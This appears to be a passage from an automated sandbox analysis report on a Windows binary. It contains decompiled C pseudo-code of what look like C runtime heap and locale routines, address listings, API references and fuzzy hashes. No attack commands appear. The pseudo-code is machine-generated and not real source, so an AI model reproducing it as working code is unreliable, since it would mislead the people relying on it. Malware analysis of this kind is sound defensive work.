                                                          								if(_t91 == 0) {
                                                          									goto L36;
                                                          								}
                                                          								 *_t91 = 0xdddd;
                                                          								L29:
                                                          								_t91 = _t91 + 8;
                                                          								goto L31;
                                                          							}
                                                          							E1000F460(_t55);
                                                          							_t91 = _t100;
                                                          							if(_t91 == 0) {
                                                          								goto L36;
                                                          							}
                                                          							 *_t91 = 0xcccc;
                                                          							goto L29;
                                                          						}
                                                          						_t63 = _a28;
                                                          						if(_t63 == 0) {
                                                          							goto L38;
                                                          						}
                                                          						if(_t95 > _t63) {
                                                          							goto L37;
                                                          						}
                                                          						_t95 = E1000835F(_a8, _a12, _t72, _t90, _a24, _t63, 0, 0, 0);
                                                          						if(_t95 != 0) {
                                                          							goto L38;
                                                          						}
                                                          						goto L37;
                                                          					}
                                                          					if(_t49 > 0x400) {
                                                          						_t72 = E1000873B(_t49);
                                                          						if(_t72 == 0) {
                                                          							L13:
                                                          							_t86 = _v12;
                                                          							goto L15;
                                                          						}
                                                          						 *_t72 = 0xdddd;
                                                          						L12:
                                                          						_t72 = _t72 + 8;
                                                          						goto L13;
                                                          					}
                                                          					E1000F460(_t49);
                                                          					_t72 = _t98;
                                                          					if(_t72 == 0) {
                                                          						goto L13;
                                                          					}
                                                          					 *_t72 = 0xcccc;
                                                          					goto L12;
                                                          				}
                                                          			}




























                                                          0x1000d0f9
                                                          0x1000d0fa
                                                          0x1000d0fb
                                                          0x1000d102
                                                          0x1000d107
                                                          0x1000d10d
                                                          0x1000d113
                                                          0x1000d119
                                                          0x1000d11c
                                                          0x1000d11c
                                                          0x1000d11f
                                                          0x1000d121
                                                          0x1000d121
                                                          0x1000d11f
                                                          0x1000d123
                                                          0x1000d128
                                                          0x1000d12f
                                                          0x1000d132
                                                          0x1000d132
                                                          0x1000d153
                                                          0x1000d155
                                                          0x1000d158
                                                          0x1000d15d
                                                          0x1000d2bb
                                                          0x1000d2be
                                                          0x1000d2bf
                                                          0x1000d2c0
                                                          0x1000d2cc
                                                          0x1000d163
                                                          0x1000d166
                                                          0x1000d16b
                                                          0x1000d16d
                                                          0x1000d16f
                                                          0x1000d1a6
                                                          0x1000d1a8
                                                          0x1000d1aa
                                                          0x1000d2b0
                                                          0x1000d2b0
                                                          0x1000d2b2
                                                          0x1000d2b3
                                                          0x1000d2b9
                                                          0x00000000
                                                          0x1000d2b9
                                                          0x1000d1b9
                                                          0x1000d1be
                                                          0x1000d1c3
                                                          0x00000000
                                                          0x00000000
                                                          0x1000d1c9
                                                          0x1000d1e0
                                                          0x1000d1e4
                                                          0x00000000
                                                          0x00000000
                                                          0x1000d1ea
                                                          0x1000d1f2
                                                          0x1000d22f
                                                          0x1000d234
                                                          0x1000d236
                                                          0x1000d238
                                                          0x1000d269
                                                          0x1000d26b
                                                          0x1000d26d
                                                          0x1000d2a9
                                                          0x1000d2aa
                                                          0x00000000
                                                          0x1000d28a
                                                          0x1000d28c
                                                          0x1000d28d
                                                          0x1000d291
                                                          0x1000d2cd
                                                          0x1000d2d0
                                                          0x1000d293
                                                          0x1000d293
                                                          0x1000d294
                                                          0x1000d294
                                                          0x1000d295
                                                          0x1000d296
                                                          0x1000d297
                                                          0x1000d298
                                                          0x1000d2a0
                                                          0x1000d2a7
                                                          0x1000d2d6
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x1000d2a7
                                                          0x1000d26d
                                                          0x1000d23c
                                                          0x1000d257
                                                          0x1000d25c
                                                          0x00000000
                                                          0x00000000
                                                          0x1000d25e
                                                          0x1000d264
                                                          0x1000d264
                                                          0x00000000
                                                          0x1000d264
                                                          0x1000d23e
                                                          0x1000d243
                                                          0x1000d247
                                                          0x00000000
                                                          0x00000000
                                                          0x1000d249
                                                          0x00000000
                                                          0x1000d249
                                                          0x1000d1f4
                                                          0x1000d1f9
                                                          0x00000000
                                                          0x00000000
                                                          0x1000d201
                                                          0x00000000
                                                          0x00000000
                                                          0x1000d21d
                                                          0x1000d221
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x1000d227
                                                          0x1000d176
                                                          0x1000d191
                                                          0x1000d196
                                                          0x1000d1a1
                                                          0x1000d1a1
                                                          0x00000000
                                                          0x1000d1a1
                                                          0x1000d198
                                                          0x1000d19e
                                                          0x1000d19e
                                                          0x00000000
                                                          0x1000d19e
                                                          0x1000d178
                                                          0x1000d17d
                                                          0x1000d181
                                                          0x00000000
                                                          0x00000000
                                                          0x1000d183
                                                          0x00000000
                                                          0x1000d183

                                                          APIs
                                                          • __alloca_probe_16.LIBCMT ref: 1000D178
                                                          • __alloca_probe_16.LIBCMT ref: 1000D23E
                                                          • __freea.LIBCMT ref: 1000D2AA
                                                            • Part of subcall function 1000873B: RtlAllocateHeap.NTDLL(00000000,?,?,?,10003243,?,?,100024B8,0007A120), ref: 1000876D
                                                          • __freea.LIBCMT ref: 1000D2B3
                                                          • __freea.LIBCMT ref: 1000D2D6
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.382027738.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                          • Associated: 00000002.00000002.382023656.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000002.00000002.382041699.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000002.00000002.382053662.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000002.00000002.382059437.0000000010019000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_10000000_PrintFolders.jbxd
                                                          Similarity
                                                          • API ID: __freea$__alloca_probe_16$AllocateHeap
                                                          • String ID:
                                                          • API String ID: 1423051803-0
                                                          • Opcode ID: 146f262ff555a53674fd139b17de7a2300d41466104e78fb213c224316c85ad6
                                                          • Instruction ID: 8e48ba519724a98946e6f1a20e563b472711a73b32590d39ac94bb068a9bb579
                                                          • Opcode Fuzzy Hash: 146f262ff555a53674fd139b17de7a2300d41466104e78fb213c224316c85ad6
                                                          • Instruction Fuzzy Hash: DC51B172600216ABFB11EE54CC81EAF37A9EF957E0F12012AFD04A7148EB70ED5196B1
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 76%
                                                          			E0041BA71(void* __ebx, signed int __edx, void* __edi, void* __esi, void* __eflags, intOrPtr _a4) {
                                                          				intOrPtr* _v8;
                                                          				signed int _v12;
                                                          				signed int _v16;
                                                          				signed int _v20;
                                                          				signed int _v40;
                                                          				signed int _v44;
                                                          				intOrPtr _v48;
                                                          				signed int _v60;
                                                          				char _v276;
                                                          				short _v278;
                                                          				short _v280;
                                                          				char _v448;
                                                          				signed int _v452;
                                                          				short _v454;
                                                          				intOrPtr _v456;
                                                          				signed int _v460;
                                                          				intOrPtr _v464;
                                                          				signed int _v468;
                                                          				signed int _v472;
                                                          				intOrPtr _v512;
                                                          				char _v536;
                                                          				intOrPtr _v540;
                                                          				signed int _v544;
                                                          				intOrPtr _v548;
                                                          				signed int _v560;
                                                          				char _v708;
                                                          				signed int _v712;
                                                          				short _v714;
                                                          				signed int _v716;
                                                          				signed int _v720;
                                                          				signed int _v724;
                                                          				intOrPtr _v728;
                                                          				signed int _v732;
                                                          				intOrPtr _v736;
                                                          				signed int* _v740;
                                                          				signed int _v744;
                                                          				signed int _v748;
                                                          				signed int _v752;
                                                          				char _v824;
                                                          				char _v1252;
                                                          				char _v1268;
                                                          				intOrPtr _v1284;
                                                          				signed int _v1288;
                                                          				intOrPtr _v1324;
                                                          				signed int _v1336;
                                                          				void* __ebp;
                                                          				signed int _t251;
                                                          				void* _t254;
                                                          				signed int _t257;
                                                          				signed int _t259;
                                                          				signed int _t265;
                                                          				signed int _t266;
                                                          				signed int _t267;
                                                          				signed int _t268;
                                                          				signed int _t269;
                                                          				signed int _t270;
                                                          				void* _t272;
                                                          				signed int _t273;
                                                          				signed int _t274;
                                                          				signed int _t275;
                                                          				signed int _t277;
                                                          				signed int _t280;
                                                          				signed int _t287;
                                                          				signed int _t288;
                                                          				signed int _t290;
                                                          				signed int _t291;
                                                          				intOrPtr _t292;
                                                          				signed int _t295;
                                                          				signed int _t297;
                                                          				signed int _t298;
                                                          				signed int _t301;
                                                          				signed int _t303;
                                                          				signed int _t306;
                                                          				signed int _t307;
                                                          				signed int _t309;
                                                          				signed int _t310;
                                                          				signed int _t326;
                                                          				signed int _t328;
                                                          				signed int _t330;
                                                          				signed int _t334;
                                                          				void* _t335;
                                                          				signed int _t337;
                                                          				void* _t338;
                                                          				intOrPtr _t339;
                                                          				signed int _t343;
                                                          				signed int _t344;
                                                          				intOrPtr* _t349;
                                                          				signed int _t363;
                                                          				signed int _t365;
                                                          				void* _t366;
                                                          				signed int _t367;
                                                          				intOrPtr* _t368;
                                                          				signed int _t370;
                                                          				void* _t371;
                                                          				void* _t375;
                                                          				signed int _t379;
                                                          				intOrPtr* _t380;
                                                          				intOrPtr* _t383;
                                                          				void* _t386;
                                                          				signed int _t387;
                                                          				signed int _t390;
                                                          				intOrPtr* _t391;
                                                          				char* _t398;
                                                          				intOrPtr _t402;
                                                          				intOrPtr* _t403;
                                                          				signed int _t405;
                                                          				signed int _t410;
                                                          				signed int _t411;
                                                          				intOrPtr* _t415;
                                                          				intOrPtr* _t416;
                                                          				signed int _t425;
                                                          				short _t426;
                                                          				signed int _t428;
                                                          				intOrPtr _t429;
                                                          				void* _t430;
                                                          				signed int _t432;
                                                          				intOrPtr _t433;
                                                          				void* _t434;
                                                          				signed int _t435;
                                                          				signed int _t438;
                                                          				intOrPtr _t444;
                                                          				signed int _t445;
                                                          				void* _t446;
                                                          				signed int _t447;
                                                          				signed int _t448;
                                                          				void* _t450;
                                                          				signed int _t452;
                                                          				signed int _t454;
                                                          				signed int _t457;
                                                          				signed int* _t458;
                                                          				short _t459;
                                                          				signed int _t461;
                                                          				signed int _t462;
                                                          				void* _t464;
                                                          				void* _t465;
                                                          				signed int _t466;
                                                          				void* _t467;
                                                          				void* _t468;
                                                          				signed int _t469;
                                                          				void* _t471;
                                                          				void* _t472;
                                                          				signed int _t484;
                                                          
                                                          				_t424 = __edx;
                                                          				_push(__ebx);
                                                          				_push(__esi);
                                                          				_v12 = 1;
                                                          				_t363 = E0041ED2F(0x6a6);
                                                          				_t250 = 0;
                                                          				_pop(_t375);
                                                          				if(_t363 == 0) {
                                                          					L20:
                                                          					return _t250;
                                                          				} else {
                                                          					_push(__edi);
                                                          					 *_t363 = 1;
                                                          					_t428 = _t363 + 4;
                                                          					_t444 = _a4;
                                                          					 *_t428 = 0;
                                                          					_t251 = _t444 + 0x30;
                                                          					_push( *_t251);
                                                          					_v16 = _t251;
                                                          					_push(0x431670);
                                                          					_push( *0x4315ac);
                                                          					E0041B9AD(_t363, _t375, __edx, _t428, _t444, _t428, 0x351, 3);
                                                          					_t465 = _t464 + 0x18;
                                                          					_v8 = 0x4315ac;
                                                          					while(1) {
                                                          						L2:
                                                          						_t254 = E0042509D(_t428, 0x351, 0x43166c);
                                                          						_t466 = _t465 + 0xc;
                                                          						if(_t254 != 0) {
                                                          							break;
                                                          						} else {
                                                          							_t8 = _v16 + 0x10; // 0x10
                                                          							_t415 = _t8;
                                                          							_t343 =  *_v16;
                                                          							_v16 = _t415;
                                                          							_t416 =  *_t415;
                                                          							_v20 = _t416;
                                                          							goto L4;
                                                          						}
                                                          						while(1) {
                                                          							L4:
                                                          							_t424 =  *_t343;
                                                          							if(_t424 !=  *_t416) {
                                                          								break;
                                                          							}
                                                          							if(_t424 == 0) {
                                                          								L8:
                                                          								_t344 = 0;
                                                          							} else {
                                                          								_t424 =  *((intOrPtr*)(_t343 + 2));
                                                          								if(_t424 !=  *((intOrPtr*)(_t416 + 2))) {
                                                          									break;
                                                          								} else {
                                                          									_t343 = _t343 + 4;
                                                          									_t416 = _t416 + 4;
                                                          									if(_t424 != 0) {
                                                          										continue;
                                                          									} else {
                                                          										goto L8;
                                                          									}
                                                          								}
                                                          							}
                                                          							L10:
                                                          							_push(_v20);
                                                          							_push(0x431670);
                                                          							asm("sbb eax, eax");
                                                          							_v12 = _v12 &  !( ~_t344);
                                                          							_t349 = _v8 + 0xc;
                                                          							_v8 = _t349;
                                                          							_push( *_t349);
                                                          							E0041B9AD(_t363, _t416, _t424, _t428, _t444, _t428, 0x351, 3);
                                                          							_t465 = _t466 + 0x18;
                                                          							if(_v8 < 0x4315dc) {
                                                          								goto L2;
                                                          							} else {
                                                          								if(_v12 != 0) {
                                                          									E0041E2B8(_t363);
                                                          									_t435 = _t428 | 0xffffffff;
                                                          									__eflags =  *(_t444 + 0x28);
                                                          									if(__eflags != 0) {
                                                          										asm("lock xadd [ecx], eax");
                                                          										if(__eflags == 0) {
                                                          											E0041E2B8( *(_t444 + 0x28));
                                                          										}
                                                          									}
                                                          									__eflags =  *(_t444 + 0x24);
                                                          									if( *(_t444 + 0x24) != 0) {
                                                          										asm("lock xadd [eax], edi");
                                                          										__eflags = _t435 == 1;
                                                          										if(_t435 == 1) {
                                                          											E0041E2B8( *(_t444 + 0x24));
                                                          										}
                                                          									}
                                                          									 *(_t444 + 0x24) = 0;
                                                          									 *(_t444 + 0x1c) = 0;
                                                          									 *(_t444 + 0x28) = 0;
                                                          									 *((intOrPtr*)(_t444 + 0x20)) = 0;
                                                          									_t250 =  *((intOrPtr*)(_t444 + 0x40));
                                                          								} else {
                                                          									_t438 = _t428 | 0xffffffff;
                                                          									_t484 =  *(_t444 + 0x28);
                                                          									if(_t484 != 0) {
                                                          										asm("lock xadd [ecx], eax");
                                                          										if(_t484 == 0) {
                                                          											E0041E2B8( *(_t444 + 0x28));
                                                          										}
                                                          									}
                                                          									if( *(_t444 + 0x24) != 0) {
                                                          										asm("lock xadd [eax], edi");
                                                          										if(_t438 == 1) {
                                                          											E0041E2B8( *(_t444 + 0x24));
                                                          										}
                                                          									}
                                                          									 *(_t444 + 0x24) =  *(_t444 + 0x24) & 0x00000000;
                                                          									_t250 = _t363 + 4;
                                                          									 *(_t444 + 0x1c) =  *(_t444 + 0x1c) & 0x00000000;
                                                          									 *(_t444 + 0x28) = _t363;
                                                          									 *((intOrPtr*)(_t444 + 0x20)) = _t250;
                                                          								}
                                                          								goto L20;
                                                          							}
                                                          							goto L134;
                                                          						}
                                                          						asm("sbb eax, eax");
                                                          						_t344 = _t343 | 0x00000001;
                                                          						__eflags = _t344;
                                                          						goto L10;
                                                          					}
                                                          					_push(0);
                                                          					_push(0);
                                                          					_push(0);
                                                          					_push(0);
                                                          					_push(0);
                                                          					E00413544();
                                                          					asm("int3");
                                                          					_t461 = _t466;
                                                          					_t467 = _t466 - 0x1d0;
                                                          					_t257 =  *0x43d054; // 0x6e36c9b5
                                                          					_v60 = _t257 ^ _t461;
                                                          					_t259 = _v44;
                                                          					_push(_t363);
                                                          					_push(_t444);
                                                          					_t445 = _v40;
                                                          					_push(_t428);
                                                          					_t429 = _v48;
                                                          					_v512 = _t429;
                                                          					__eflags = _t259;
                                                          					if(_t259 == 0) {
                                                          						_v460 = 1;
                                                          						_v472 = 0;
                                                          						_t365 = 0;
                                                          						_v452 = 0;
                                                          						__eflags = _t445;
                                                          						if(__eflags == 0) {
                                                          							L79:
                                                          							_t259 = E0041BA71(_t365, _t424, _t429, _t445, __eflags, _t429);
                                                          							goto L80;
                                                          						} else {
                                                          							__eflags =  *_t445 - 0x4c;
                                                          							if( *_t445 != 0x4c) {
                                                          								L59:
                                                          								_t259 = E0041B5E7(_t365, _t424, _t429, _t445, _t445,  &_v276, 0x83,  &_v448, 0x55,  &_v468);
                                                          								_t468 = _t467 + 0x18;
                                                          								__eflags = _t259;
                                                          								if(_t259 != 0) {
                                                          									_t379 = 0;
                                                          									__eflags = 0;
                                                          									_t425 = _t429 + 0x20;
                                                          									_t447 = 0;
                                                          									_v452 = _t425;
                                                          									do {
                                                          										__eflags = _t447;
                                                          										if(_t447 == 0) {
                                                          											L74:
                                                          											_t265 = _v460;
                                                          										} else {
                                                          											_t380 =  *_t425;
                                                          											_t266 =  &_v276;
                                                          											while(1) {
                                                          												__eflags =  *_t266 -  *_t380;
                                                          												_t429 = _v464;
                                                          												if( *_t266 !=  *_t380) {
                                                          													break;
                                                          												}
                                                          												__eflags =  *_t266;
                                                          												if( *_t266 == 0) {
                                                          													L67:
                                                          													_t379 = 0;
                                                          													_t267 = 0;
                                                          												} else {
                                                          													_t426 =  *((intOrPtr*)(_t266 + 2));
                                                          													__eflags = _t426 -  *((intOrPtr*)(_t380 + 2));
                                                          													_v454 = _t426;
                                                          													_t425 = _v452;
                                                          													if(_t426 !=  *((intOrPtr*)(_t380 + 2))) {
                                                          														break;
                                                          													} else {
                                                          														_t266 = _t266 + 4;
                                                          														_t380 = _t380 + 4;
                                                          														__eflags = _v454;
                                                          														if(_v454 != 0) {
                                                          															continue;
                                                          														} else {
                                                          															goto L67;
                                                          														}
                                                          													}
                                                          												}
                                                          												L69:
                                                          												__eflags = _t267;
                                                          												if(_t267 == 0) {
                                                          													_t365 = _t365 + 1;
                                                          													__eflags = _t365;
                                                          													goto L74;
                                                          												} else {
                                                          													_t268 =  &_v276;
                                                          													_push(_t268);
                                                          													_push(_t447);
                                                          													_push(_t429);
                                                          													L83();
                                                          													_t425 = _v452;
                                                          													_t468 = _t468 + 0xc;
                                                          													__eflags = _t268;
                                                          													if(_t268 == 0) {
                                                          														_t379 = 0;
                                                          														_t265 = 0;
                                                          														_v460 = 0;
                                                          													} else {
                                                          														_t365 = _t365 + 1;
                                                          														_t379 = 0;
                                                          														goto L74;
                                                          													}
                                                          												}
                                                          												goto L75;
                                                          											}
                                                          											asm("sbb eax, eax");
                                                          											_t267 = _t266 | 0x00000001;
                                                          											_t379 = 0;
                                                          											__eflags = 0;
                                                          											goto L69;
                                                          										}
                                                          										L75:
                                                          										_t447 = _t447 + 1;
                                                          										_t425 = _t425 + 0x10;
                                                          										_v452 = _t425;
                                                          										__eflags = _t447 - 5;
                                                          									} while (_t447 <= 5);
                                                          									__eflags = _t265;
                                                          									if(__eflags != 0) {
                                                          										goto L79;
                                                          									} else {
                                                          										__eflags = _t365;
                                                          										if(__eflags != 0) {
                                                          											goto L79;
                                                          										} else {
                                                          											_t259 = _t379;
                                                          										}
                                                          									}
                                                          								}
                                                          								goto L80;
                                                          							} else {
                                                          								__eflags =  *(_t445 + 2) - 0x43;
                                                          								if( *(_t445 + 2) != 0x43) {
                                                          									goto L59;
                                                          								} else {
                                                          									__eflags =  *((short*)(_t445 + 4)) - 0x5f;
                                                          									if( *((short*)(_t445 + 4)) != 0x5f) {
                                                          										goto L59;
                                                          									} else {
                                                          										while(1) {
                                                          											_t269 = E004262BB(_t445, 0x431664);
                                                          											_t367 = _t269;
                                                          											_v468 = _t367;
                                                          											_pop(_t382);
                                                          											__eflags = _t367;
                                                          											if(_t367 == 0) {
                                                          												break;
                                                          											}
                                                          											_t270 = _t269 - _t445;
                                                          											__eflags = _t270;
                                                          											_v460 = _t270 >> 1;
                                                          											if(_t270 == 0) {
                                                          												break;
                                                          											} else {
                                                          												_t272 = 0x3b;
                                                          												__eflags =  *_t367 - _t272;
                                                          												if( *_t367 == _t272) {
                                                          													break;
                                                          												} else {
                                                          													_t432 = _v460;
                                                          													_t368 = 0x4315ac;
                                                          													_v456 = 1;
                                                          													do {
                                                          														_t273 = E004162B4( *_t368, _t445, _t432);
                                                          														_t467 = _t467 + 0xc;
                                                          														__eflags = _t273;
                                                          														if(_t273 != 0) {
                                                          															goto L45;
                                                          														} else {
                                                          															_t383 =  *_t368;
                                                          															_t424 = _t383 + 2;
                                                          															do {
                                                          																_t339 =  *_t383;
                                                          																_t383 = _t383 + 2;
                                                          																__eflags = _t339 - _v472;
                                                          															} while (_t339 != _v472);
                                                          															_t382 = _t383 - _t424 >> 1;
                                                          															__eflags = _t432 - _t383 - _t424 >> 1;
                                                          															if(_t432 != _t383 - _t424 >> 1) {
                                                          																goto L45;
                                                          															}
                                                          														}
                                                          														break;
                                                          														L45:
                                                          														_v456 = _v456 + 1;
                                                          														_t368 = _t368 + 0xc;
                                                          														__eflags = _t368 - 0x4315dc;
                                                          													} while (_t368 <= 0x4315dc);
                                                          													_t365 = _v468 + 2;
                                                          													_t274 = E00426262(_t382, _t365, 0x43166c);
                                                          													_t429 = _v464;
                                                          													_t448 = _t274;
                                                          													_pop(_t386);
                                                          													__eflags = _t448;
                                                          													if(_t448 != 0) {
                                                          														L48:
                                                          														__eflags = _v456 - 5;
                                                          														if(_v456 > 5) {
                                                          															_t387 = _v452;
                                                          															goto L54;
                                                          														} else {
                                                          															_push(_t448);
                                                          															_t277 = E004251DD( &_v276, 0x83, _t365);
                                                          															_t469 = _t467 + 0x10;
                                                          															__eflags = _t277;
                                                          															if(_t277 != 0) {
                                                          																L82:
                                                          																_push(0);
                                                          																_push(0);
                                                          																_push(0);
                                                          																_push(0);
                                                          																_push(0);
                                                          																E00413544();
                                                          																asm("int3");
                                                          																_push(_t461);
                                                          																_t462 = _t469;
                                                          																_t280 =  *0x43d054; // 0x6e36c9b5
                                                          																_v560 = _t280 ^ _t462;
                                                          																_push(_t365);
                                                          																_t370 = _v544;
                                                          																_push(_t448);
                                                          																_push(_t429);
                                                          																_t433 = _v548;
                                                          																_v1288 = _t370;
                                                          																_v1284 = E0041CB63(_t386, _t424) + 0x278;
                                                          																_t287 = E0041B5E7(_t370, _t424, _t433, _v540, _v540,  &_v824, 0x83,  &_v1252, 0x55,  &_v1268);
                                                          																_t471 = _t469 - 0x2e4 + 0x18;
                                                          																__eflags = _t287;
                                                          																if(_t287 == 0) {
                                                          																	L122:
                                                          																	_t288 = 0;
                                                          																	__eflags = 0;
                                                          																	goto L123;
                                                          																} else {
                                                          																	_t103 = _t370 + 2; // 0x2
                                                          																	_t452 = _t103 << 4;
                                                          																	__eflags = _t452;
                                                          																	_t290 =  &_v280;
                                                          																	_v720 = _t452;
                                                          																	_t424 =  *(_t452 + _t433);
                                                          																	_t390 = _t424;
                                                          																	while(1) {
                                                          																		_v712 = _v712 & 0x00000000;
                                                          																		__eflags =  *_t290 -  *_t390;
                                                          																		_t454 = _v720;
                                                          																		if( *_t290 !=  *_t390) {
                                                          																			break;
                                                          																		}
                                                          																		__eflags =  *_t290;
                                                          																		if( *_t290 == 0) {
                                                          																			L89:
                                                          																			_t291 = _v712;
                                                          																		} else {
                                                          																			_t459 =  *((intOrPtr*)(_t290 + 2));
                                                          																			__eflags = _t459 -  *((intOrPtr*)(_t390 + 2));
                                                          																			_v714 = _t459;
                                                          																			_t454 = _v720;
                                                          																			if(_t459 !=  *((intOrPtr*)(_t390 + 2))) {
                                                          																				break;
                                                          																			} else {
                                                          																				_t290 = _t290 + 4;
                                                          																				_t390 = _t390 + 4;
                                                          																				__eflags = _v714;
                                                          																				if(_v714 != 0) {
                                                          																					continue;
                                                          																				} else {
                                                          																					goto L89;
                                                          																				}
                                                          																			}
                                                          																		}
                                                          																		L91:
                                                          																		__eflags = _t291;
                                                          																		if(_t291 != 0) {
                                                          																			_t391 =  &_v280;
                                                          																			_t424 = _t391 + 2;
                                                          																			do {
                                                          																				_t292 =  *_t391;
                                                          																				_t391 = _t391 + 2;
                                                          																				__eflags = _t292 - _v712;
                                                          																			} while (_t292 != _v712);
                                                          																			_v716 = (_t391 - _t424 >> 1) + 1;
                                                          																			_t295 = E0041ED2F(4 + ((_t391 - _t424 >> 1) + 1) * 2);
                                                          																			_v732 = _t295;
                                                          																			__eflags = _t295;
                                                          																			if(_t295 == 0) {
                                                          																				goto L122;
                                                          																			} else {
                                                          																				_v728 =  *((intOrPtr*)(_t454 + _t433));
                                                          																				_v748 =  *(_t433 + 0xa0 + _t370 * 4);
                                                          																				_v752 =  *(_t433 + 8);
                                                          																				_t398 =  &_v280;
                                                          																				_v736 = _t295 + 4;
                                                          																				_t297 = E00421491(_t295 + 4, _v716, _t398);
                                                          																				_t472 = _t471 + 0xc;
                                                          																				__eflags = _t297;
                                                          																				if(_t297 != 0) {
                                                          																					_t298 = _v712;
                                                          																					_push(_t298);
                                                          																					_push(_t298);
                                                          																					_push(_t298);
                                                          																					_push(_t298);
                                                          																					_push(_t298);
                                                          																					E00413544();
                                                          																					asm("int3");
                                                          																					_push(_t462);
                                                          																					_push(_t398);
                                                          																					_v1336 = _v1336 & 0x00000000;
                                                          																					_t301 = E0041E821(_v1324, 0x20001004,  &_v1336, 2);
                                                          																					__eflags = _t301;
                                                          																					if(_t301 == 0) {
                                                          																						L132:
                                                          																						return 0xfde9;
                                                          																					}
                                                          																					_t303 = _v20;
                                                          																					__eflags = _t303;
                                                          																					if(_t303 == 0) {
                                                          																						goto L132;
                                                          																					}
                                                          																					return _t303;
                                                          																				} else {
                                                          																					__eflags = _v280 - 0x43;
                                                          																					 *((intOrPtr*)(_t454 + _t433)) = _v736;
                                                          																					if(_v280 != 0x43) {
                                                          																						L100:
                                                          																						_t306 = E0041B304(_t370, _t433,  &_v708);
                                                          																						_t424 = _v712;
                                                          																					} else {
                                                          																						__eflags = _v278;
                                                          																						if(_v278 != 0) {
                                                          																							goto L100;
                                                          																						} else {
                                                          																							_t424 = _v712;
                                                          																							_t306 = _t424;
                                                          																						}
                                                          																					}
                                                          																					 *(_t433 + 0xa0 + _t370 * 4) = _t306;
                                                          																					__eflags = _t370 - 2;
                                                          																					if(_t370 != 2) {
                                                          																						__eflags = _t370 - 1;
                                                          																						if(_t370 != 1) {
                                                          																							__eflags = _t370 - 5;
                                                          																							if(_t370 == 5) {
                                                          																								 *((intOrPtr*)(_t433 + 0x14)) = _v724;
                                                          																							}
                                                          																						} else {
                                                          																							 *((intOrPtr*)(_t433 + 0x10)) = _v724;
                                                          																						}
                                                          																					} else {
                                                          																						_t458 = _v740;
                                                          																						 *(_t433 + 8) = _v724;
                                                          																						_v716 = _t458[8];
                                                          																						_t410 = _t458[9];
                                                          																						_v724 = _t410;
                                                          																						while(1) {
                                                          																							__eflags =  *(_t433 + 8) -  *(_t458 + _t424 * 8);
                                                          																							if( *(_t433 + 8) ==  *(_t458 + _t424 * 8)) {
                                                          																								break;
                                                          																							}
                                                          																							_t334 =  *(_t458 + _t424 * 8);
                                                          																							_t410 =  *(_t458 + 4 + _t424 * 8);
                                                          																							 *(_t458 + _t424 * 8) = _v716;
                                                          																							 *(_t458 + 4 + _t424 * 8) = _v724;
                                                          																							_t424 = _t424 + 1;
                                                          																							_t370 = _v744;
                                                          																							_v716 = _t334;
                                                          																							_v724 = _t410;
                                                          																							__eflags = _t424 - 5;
                                                          																							if(_t424 < 5) {
                                                          																								continue;
                                                          																							} else {
                                                          																							}
                                                          																							L108:
                                                          																							__eflags = _t424 - 5;
                                                          																							if(__eflags == 0) {
                                                          																								_t326 = E00421875(__eflags, _v712, 1, 0x431520, 0x7f,  &_v536,  *(_t433 + 8), 1);
                                                          																								_t472 = _t472 + 0x1c;
                                                          																								__eflags = _t326;
                                                          																								if(_t326 == 0) {
                                                          																									_t411 = _v712;
                                                          																								} else {
                                                          																									_t328 = _v712;
                                                          																									do {
                                                          																										 *(_t462 + _t328 * 2 - 0x20c) =  *(_t462 + _t328 * 2 - 0x20c) & 0x000001ff;
                                                          																										_t328 = _t328 + 1;
                                                          																										__eflags = _t328 - 0x7f;
                                                          																									} while (_t328 < 0x7f);
                                                          																									_t330 = E00410C5A( &_v536,  *0x43d1c4, 0xfe);
                                                          																									_t472 = _t472 + 0xc;
                                                          																									__eflags = _t330;
                                                          																									_t411 = 0 | _t330 == 0x00000000;
                                                          																								}
                                                          																								_t458[1] = _t411;
                                                          																								 *_t458 =  *(_t433 + 8);
                                                          																							}
                                                          																							 *(_t433 + 0x18) = _t458[1];
                                                          																							goto L120;
                                                          																						}
                                                          																						__eflags = _t424;
                                                          																						if(_t424 != 0) {
                                                          																							 *_t458 =  *(_t458 + _t424 * 8);
                                                          																							_t458[1] =  *(_t458 + 4 + _t424 * 8);
                                                          																							 *(_t458 + _t424 * 8) = _v716;
                                                          																							 *(_t458 + 4 + _t424 * 8) = _t410;
                                                          																						}
                                                          																						goto L108;
                                                          																					}
                                                          																					L120:
                                                          																					_t307 = _t370 * 0xc;
                                                          																					_t204 = _t307 + 0x4315a8; // 0x40b230
                                                          																					 *0x42e234(_t433);
                                                          																					_t309 =  *((intOrPtr*)( *_t204))();
                                                          																					_t402 = _v728;
                                                          																					__eflags = _t309;
                                                          																					if(_t309 == 0) {
                                                          																						__eflags = _t402 - 0x43d290;
                                                          																						if(_t402 == 0x43d290) {
                                                          																							L127:
                                                          																							_t310 = _v720;
                                                          																						} else {
                                                          																							_t457 = _t370 + _t370;
                                                          																							__eflags = _t457;
                                                          																							asm("lock xadd [eax], ecx");
                                                          																							if(_t457 != 0) {
                                                          																								goto L127;
                                                          																							} else {
                                                          																								E0041E2B8( *((intOrPtr*)(_t433 + 0x28 + _t457 * 8)));
                                                          																								E0041E2B8( *((intOrPtr*)(_t433 + 0x24 + _t457 * 8)));
                                                          																								E0041E2B8( *(_t433 + 0xa0 + _t370 * 4));
                                                          																								_t310 = _v720;
                                                          																								_t405 = _v712;
                                                          																								 *(_t310 + _t433) = _t405;
                                                          																								 *(_t433 + 0xa0 + _t370 * 4) = _t405;
                                                          																							}
                                                          																						}
                                                          																						_t403 = _v732;
                                                          																						 *_t403 = 1;
                                                          																						_t288 =  *(_t310 + _t433);
                                                          																						 *((intOrPtr*)(_t433 + 0x28 + (_t370 + _t370) * 8)) = _t403;
                                                          																					} else {
                                                          																						 *((intOrPtr*)(_v720 + _t433)) = _t402;
                                                          																						E0041E2B8( *(_t433 + 0xa0 + _t370 * 4));
